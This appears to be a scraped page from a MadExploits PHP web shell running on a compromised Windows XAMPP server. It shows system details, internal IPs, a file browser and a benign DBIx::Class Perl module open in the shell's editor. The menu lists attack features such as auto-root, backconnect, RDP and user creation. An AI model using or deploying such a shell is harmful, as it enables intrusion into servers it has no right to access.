Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
perl /
vendor /
lib /
DBIx /
Class /
CDBICompat /
[ HOME SHELL ]
Name
Size
Permission
Action
AbstractSearch.pm
1.09
KB
-rw-rw-rw-
AccessorMapping.pm
2.01
KB
-rw-rw-rw-
AttributeAPI.pm
668
B
-rw-rw-rw-
AutoUpdate.pm
900
B
-rw-rw-rw-
ColumnCase.pm
1.98
KB
-rw-rw-rw-
ColumnGroups.pm
4.43
KB
-rw-rw-rw-
ColumnsAsHash.pm
2.57
KB
-rw-rw-rw-
Constraints.pm
1.77
KB
-rw-rw-rw-
Constructor.pm
673
B
-rw-rw-rw-
Copy.pm
1.06
KB
-rw-rw-rw-
DestroyWarning.pm
451
B
-rw-rw-rw-
GetSet.pm
639
B
-rw-rw-rw-
ImaDBI.pm
3.85
KB
-rw-rw-rw-
Iterator.pm
1.59
KB
-rw-rw-rw-
LazyLoading.pm
2.84
KB
-rw-rw-rw-
LiveObjectIndex.pm
2.48
KB
-rw-rw-rw-
NoObjectIndex.pm
1.03
KB
-rw-rw-rw-
Pager.pm
499
B
-rw-rw-rw-
ReadOnly.pm
288
B
-rw-rw-rw-
Relationship.pm
1.08
KB
-rw-rw-rw-
Relationships.pm
5.45
KB
-rw-rw-rw-
Retrieve.pm
1.94
KB
-rw-rw-rw-
SQLTransformer.pm
3.16
KB
-rw-rw-rw-
Stringify.pm
451
B
-rw-rw-rw-
TempColumns.pm
2.2
KB
-rw-rw-rw-
Triggers.pm
971
B
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ColumnGroups.pm
package # hide from PAUSE DBIx::Class::CDBICompat::ColumnGroups; use strict; use warnings; use Sub::Name (); use Storable 'dclone'; use List::Util (); use base qw/DBIx::Class::Row/; __PACKAGE__->mk_classdata('_column_groups' => { }); sub columns { my $proto = shift; my $class = ref $proto || $proto; my $group = shift || "All"; $class->_init_result_source_instance(); $class->_add_column_group($group => @_) if @_; return $class->all_columns if $group eq "All"; return $class->primary_column if $group eq "Primary"; my $grp = $class->_column_groups->{$group}; my @grp_cols = sort { $grp->{$b} <=> $grp->{$a} } (keys %$grp); return @grp_cols; } sub _add_column_group { my ($class, $group, @cols) = @_; $class->mk_group_accessors(column => @cols); $class->add_columns(@cols); $class->_register_column_group($group => @cols); } sub add_columns { my ($class, @cols) = @_; $class->result_source_instance->add_columns(@cols); } sub _register_column_group { my ($class, $group, @cols) = @_; # Must do a complete deep copy else column groups # might accidentally be shared. my $groups = dclone $class->_column_groups; if ($group eq 'Primary') { $class->set_primary_key(@cols); delete $groups->{'Essential'}{$_} for @cols; my $first = List::Util::max(values %{$groups->{'Essential'}}); $groups->{'Essential'}{$_} = ++$first for reverse @cols; } if ($group eq 'All') { unless (exists $class->_column_groups->{'Primary'}) { $groups->{'Primary'}{$cols[0]} = 1; $class->set_primary_key($cols[0]); } unless (exists $class->_column_groups->{'Essential'}) { $groups->{'Essential'}{$cols[0]} = 1; } } delete $groups->{$group}{$_} for @cols; my $first = List::Util::max(values %{$groups->{$group}}); $groups->{$group}{$_} = ++$first for reverse @cols; $class->_column_groups($groups); } # CDBI will never overwrite an accessor, but it only uses one # accessor for all column types. DBIC uses many different # accessor types so, for example, if you declare a column() # and then a has_a() for that same column it must overwrite. # # To make this work CDBICompat has decide if an accessor # method was put there by itself and only then overwrite. { my %our_accessors; sub _has_custom_accessor { my($class, $name) = @_; no strict 'refs'; my $existing_accessor = *{$class .'::'. $name}{CODE}; return $existing_accessor && !$our_accessors{$existing_accessor}; } sub _deploy_accessor { my($class, $name, $accessor) = @_; return if $class->_has_custom_accessor($name); { no strict 'refs'; no warnings 'redefine'; my $fullname = join '::', $class, $name; *$fullname = Sub::Name::subname $fullname, $accessor; } $our_accessors{$accessor}++; return 1; } } sub _mk_group_accessors { my ($class, $type, $group, @fields) = @_; # So we don't have to do lots of lookups inside the loop. my $maker = $class->can($type) unless ref $type; # warn "$class $type $group\n"; foreach my $field (@fields) { if( $field eq 'DESTROY' ) { carp("Having a data accessor named DESTROY in ". "'$class' is unwise."); } my $name = $field; ($name, $field) = @$field if ref $field; my $accessor = $class->$maker($group, $field); my $alias = "_${name}_accessor"; # warn " $field $alias\n"; { no strict 'refs'; $class->_deploy_accessor($name, $accessor); $class->_deploy_accessor($alias, $accessor); } } } sub all_columns { return shift->result_source_instance->columns; } sub primary_column { my ($class) = @_; my @pri = $class->primary_columns; return wantarray ? @pri : $pri[0]; } sub _essential { return shift->columns("Essential"); } sub find_column { my ($class, $col) = @_; return $col if $class->has_column($col); } sub __grouper { my ($class) = @_; my $grouper = { class => $class }; return bless($grouper, 'DBIx::Class::CDBICompat::ColumnGroups::GrouperShim'); } sub _find_columns { my ($class, @col) = @_; return map { $class->find_column($_) } @col; } package # hide from PAUSE (should be harmless, no POD no Version) DBIx::Class::CDBICompat::ColumnGroups::GrouperShim; sub groups_for { my ($self, @cols) = @_; my %groups; foreach my $col (@cols) { foreach my $group (keys %{$self->{class}->_column_groups}) { $groups{$group} = 1 if $self->{class}->_column_groups->{$group}->{$col}; } } return keys %groups; } 1;
Close